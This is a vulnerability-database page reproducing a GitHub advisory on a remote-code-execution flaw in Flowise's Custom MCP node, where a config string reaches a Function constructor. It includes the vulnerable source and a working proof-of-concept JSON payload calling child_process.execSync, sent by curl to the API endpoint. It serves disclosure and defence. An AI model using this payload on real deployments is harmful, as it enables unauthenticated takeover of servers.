INCIDENT MAP

Browse / MCP and Tool Server Flaws / CVE-2025-55346

Flowise vulnerable to RCE via Dynamic function constructor injection

CVE-2025-55346 ยท 2025-10-06 critical

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Code and command execution
Affected
flowise (npm)
CVSS
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
21.3% chance of exploitation in 30 days

How it works, in short

The Custom MCP node passes the server config it receives into a dynamic function constructor, so attacker-supplied config runs JavaScript on the host. (Our summary, written by a model. The source text is below.)

Details

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103):
https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

References

Source: GitHub Advisory Database, used under CC BY 4.0.